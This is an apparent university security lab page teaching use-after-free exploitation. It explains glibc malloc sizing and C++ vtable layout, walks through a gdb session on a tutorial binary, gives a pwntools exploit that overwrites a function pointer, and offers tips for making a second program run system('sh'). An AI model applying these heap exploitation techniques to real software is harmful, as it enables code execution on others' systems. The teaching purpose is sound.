This is an old revision of the document!
You will use this lab archive throughout the lab.
Please download the lab archive an then unpack it using the commands below:
$ wget http://elf.cs.pub.ro/oss/res/labs/lab-10.tar.gz $ tar xzf lab-10.tar.gz
After unpacking, you will get the lab-10/
folder:
$ cd lab-10/ $ ls -F TODO: add files
Use-after-free refers to the bug in which the data from a memory region is still used after the region is freed. The most common causes are of use-after-free bugs are:
Such bugs can have various adverse consequances:
An use-after-free bug is exploitable if the program can be brought in a state in which it can allocate memory over the freed area. This gives the attacker control over what data is accessed after the free.
In terms of function calls on a Linux system, as attackers, we need to force
a malloc
of the same or similar size after the free
. In the correct
circumstances the subsequent malloc
will return the same pointer as the
previous call (or a pointer to a region that overlaps the previous one).
The standard method of allocating/freeing memory in a Linux C program is by using the malloc/free C library functions. Equivalently the C++ primitives are new and delete. The difference between malloc/free and new/delete is that new and delete, in addition to memory allocation, also call the associated constructor/destructor of the allocated type.
The innards of malloc
aren't trivial to understand so we will work with
more of an general overview of what it does and how can we predict what it
will do so we can create a repetable exploit.
The first thing worth mentioning is that not all addresses returned by malloc reside in what we call the heap.
malloc
has 2 ways of allocating memory:
.data
which can be resized with the brk
and sbrk
system calls< 128 KB
)mmap
regionmmap
system call> 128 KB
)The 2 regions can be seen below in red and green respectively:
When dealing with structures allocated on the heap we shouldn't dwell too much
with the mmap
case; most of the times structures and classes are in the range
of 10's or 100's of bytes.
The minimum allocation size is 4 * ptr_size
(16
for 32-bit
and 32
for 64-bit
).
Even if calling malloc(0)
it will return a valid pointer to a region of minimum size.
malloc
.
You can access it doing some C magic:
void* ptr = malloc(100); unsigned long size = ((unsigned long*)ptr)[-1] & ~7;
The & ~7
is added to 0 out the last 3 bits which are actually flags and not part of the size.
These bits are:
When allocating on the heap malloc
uses various other methods of allocating
small data regions (arena based allocation with multiple bins of different sizes):
Check Understanding glibc malloc for more details.
Use the program from malloc_addr
to see how malloc
manifests for different sizes.
The program does pairs of malloc
+ free
to inspect for what range of sizes will
the returned pointer be the same.
It also does the trick from the note above to take the real size and the flags.
Example output:
$ ./malloc_addr Range [1, 504] with jump of 1: Addr: 0x93b2a0; Size: 24 B; Internal size: 32 B; Count = 24 prev_inuse = 1; is_mmaped = 0; non_main_arena = 0 Addr: 0x93b2c0; Size: 40 B; Internal size: 48 B; Count = 16 prev_inuse = 1; is_mmaped = 0; non_main_arena = 0 Addr: 0x93b2f0; Size: 56 B; Internal size: 64 B; Count = 16 prev_inuse = 1; is_mmaped = 0; non_main_arena = 0 ... Addr: 0x93d190; Size: 504 B; Internal size: 512 B; Count = 16 prev_inuse = 1; is_mmaped = 0; non_main_arena = 0 Range [33554432, 33619967] with jump of 1024: Addr: 0x7f67090a5010; Size: 32 MB; Internal size: 32 MB; Count = 4 prev_inuse = 0; is_mmaped = 1; non_main_arena = 0 ... Addr: 0x7f6709096010; Size: 32 MB; Internal size: 32 MB; Count = 4 prev_inuse = 0; is_mmaped = 1; non_main_arena = 0 Range [33554432, 33619967] with jump of 4096: Addr: 0x7f67090a5010; Size: 32 MB; Internal size: 32 MB; Count = 1 prev_inuse = 0; is_mmaped = 1; non_main_arena = 0 ... Addr: 0x7f6709096010; Size: 32 MB; Internal size: 32 MB; Count = 1 prev_inuse = 0; is_mmaped = 1; non_main_arena = 0
malloc
malloc
+ 8 (the hidden size value)[0, 32]
(internal) bytes the address will fall in the same place[32+16*k+1, 32+16*k+16]
(internal) bytes the address will fall in the same placeis_mmaped
bit is set[x, x+PAGE_SIZE]
it will fall in the same place
For a in-depth understanding of how malloc works check:
A dangling pointer is a pointer variable through which the freed memory is accessed. For example:
char* p = malloc(100); // memory allocated, p is valid free(p); // p is freed puts(p); // when puts is called p is a dangling pointer
When building an exploit based on an use-after-free bug the most important aspect is the data type of the underlying dangling pointer/s. This determines how the attacker injected data is interpreted. If the data structure doesn't influence the control flow of the program then it is not exploitable.
When checking for use-after-free bugs we should also check what heap data points to code or is used in conditional statements (affects the control flow of the program).
struct a { int x; int y; }; struct b { int id; void (*foo)(void); }; ... struct a* a; struct b* b; ... printf("%d %d\n", a->x, a->y); ... b->foo();
Out of the 2 structures above we should aim to create a dangling pointer of type struct b
because
it contains a code pointer.
Enter the c_tutorial
directory and check the source code for bugs.
We can see that in the default
case of the switch
the object is freed but the program
continues:
... default: printf("Invalid command\n"); free(p); ...
The post_action_msg
buffer is conveniently conveniently allocated to a size similar to that
of struct person
and fgets
is used to read something in the newly allocated buffer.
We also notice the members of struct person
:
struct person { void (*action_func)(struct person*); // ԅ(≖‿≖ԅ) char name[32]; };
It contains a code pointer which we can overwrite in our exploit.
First lets validate that both calls to malloc
return the same address.
The returned address should be in the $rax
register after the call.
0x4011c8 <main+4>: sub rsp,0x20 0x4011cc <main+8>: mov edi,0x28 0x4011d1 <main+13>: call 0x401090 <malloc@plt> => 0x4011d6 <main+18>: mov QWORD PTR [rbp-0x10],rax ... gdb-peda$ p/x $rax $1 = 0x4052a0
Give the program appropriate input so that it reaches the default
case.
In the following example I send random_name
to the first fgets
and
3
(which is an invalid case) to fgetc
.
... 0x401209 <main+69>: mov esi,0x20 0x40120e <main+74>: mov rdi,rcx => 0x401211 <main+77>: call 0x401080 <fgets@plt> gdb-peda$ random_name ... 0x401257 <main+147>: mov rax,QWORD PTR [rip+0x2e02] # 0x404060 <stdin@@GLIBC_2.2.5> 0x40125e <main+154>: mov rdi,rax => 0x401261 <main+157>: call 0x401070 <fgetc@plt> gdb-peda$ 3
Eventually we reach the call to free
.
... 0x4012b7 <main+243>: mov rax,QWORD PTR [rbp-0x10] 0x4012bb <main+247>: mov rdi,rax => 0x4012be <main+250>: call 0x401030 <free@plt>
We see that the second malloc returns the same address.
... 0x4012c3 <main+255>: mov edi,0x28 0x4012c8 <main+260>: call 0x401090 <malloc@plt> => 0x4012cd <main+265>: mov QWORD PTR [rbp-0x8],rax gdb-peda$ p/x $rax $2 = 0x4052a0
Send some random input to fgets
to overwrite the function pointer.
0x4012e8 <main+292>: mov esi,0x28 0x4012ed <main+297>: mov rdi,rax => 0x4012f0 <main+300>: call 0x401080 <fgets@plt> gdb-peda$ AAAAAAAA
Afterward we reach the following code where it tries to call rdx
.
If we print its value we see that its value concides with the 8 bytes read
with the previous fgets
.
0x4012fc <main+312>: mov rax,QWORD PTR [rbp-0x10] 0x401300 <main+316>: mov rdi,rax => 0x401303 <main+319>: call rdx gdb-peda$ p/x $rdx $3 = 0x4141414141414141
Put it all together and replace “AAAAAAAA”
with the address of bad_func
to create an appropriate exploit.
Pwntool code below:
from pwn import * elf = ELF('./c_tut') io = process('./c_tut') io.sendline("name") io.sendline("3") io.sendline(p64(elf.symbols['bad_func'])) io.interactive()
Though function pointers inside structures in C code seem a bit esoteric, in object oriented languages (like C++) they are standard practice but overlooked do to the added layers of abstraction. Most of the times C programs that use these kinds of structures try to emulate an object oriented style.
In object oriented languages virtual method tables (or virtual function tables) are used to facilitate polymorphism and inheritance. An object will contain a pointer to a list of functions (only the virtual ones) so that it maintains the methods of its type even if casted to another one upper in the inheritance tree.
class B { int a, b; virtual void f(void); }; class B1 { int x, y; virtual void z(void); }; class D: B, B1 { int c, d; void f(void); void z(void); }; D objD; B1 * ptrB1; ptrB1 = &objD; ptrB1->f();
We can see in the example below how the structure of a C++ objects looks like.
The object is a compound of its parents' members and its own. As class D
overrides both virtual functions f
and z
the virtual tables inside of
D
will contain its own methods.
When doing an upcast (cast to a parent class) the pointer is just offseted to
the correct subobject (e.g.: when casting to B1
ptrB1
will start from
PVTable1
).
We can also use the compiler to see the data layout. Copy the code above into
a file dummy.cpp
and add a main function to make it a valid program:
int main() { return sizeof(D); }
Then run:
$ clang -cc1 -fdump-record-layouts dummy.cpp *** Dumping AST Record Layout 0 | class B 0 | (B vtable pointer) 8 | int a 12 | int b | [sizeof=16, dsize=16, align=8, | nvsize=16, nvalign=8] *** Dumping AST Record Layout 0 | class B1 0 | (B1 vtable pointer) 8 | int x 12 | int y | [sizeof=16, dsize=16, align=8, | nvsize=16, nvalign=8] *** Dumping AST Record Layout 0 | class D 0 | class B (primary base) 0 | (B vtable pointer) 8 | int a 12 | int b 16 | class B1 (base) 16 | (B1 vtable pointer) 24 | int x 28 | int y 32 | int c 36 | int d | [sizeof=40, dsize=40, align=8, | nvsize=40, nvalign=8]
Go to the point/
directory and examine the code/binary to find the
use-after-free bug. Create an exploit to run system(“sh”)
<tip>
The program never checks if the id
corresponds to an existing point.
</tip>
<tip>
Look at the structs, how would a struct point3D
overlap over a
struct point2D
?
point2D point3D +---------------+ +---------------+ | x | y | | x | y | +---------------+ +---------------+ | vector_len | | z | 0 | +---------------+ +---------------+ | vector_len | +---------------+
If we check the address of system@plt it should have 3 non-0 bytes so
it can be overwritten with the value of z
.
gdb-peda$ info address system@plt Symbol "system@plt" is at 0x401070 in a file compiled without debugging.
</tip>
<tip>
How to send the “sh””
argument to system
?
The function will be called with a pointer to the structure itself:
point_list_2d[id]->vector_len(point_list_2d[id]));
Lets pretend the pointer is casted to char*
. The string will be formed
out of the concatenated raw bytes of the structure (until \x00
).
It should be enough to set x
to “sh\x00\x00”
unpacked.
</tip>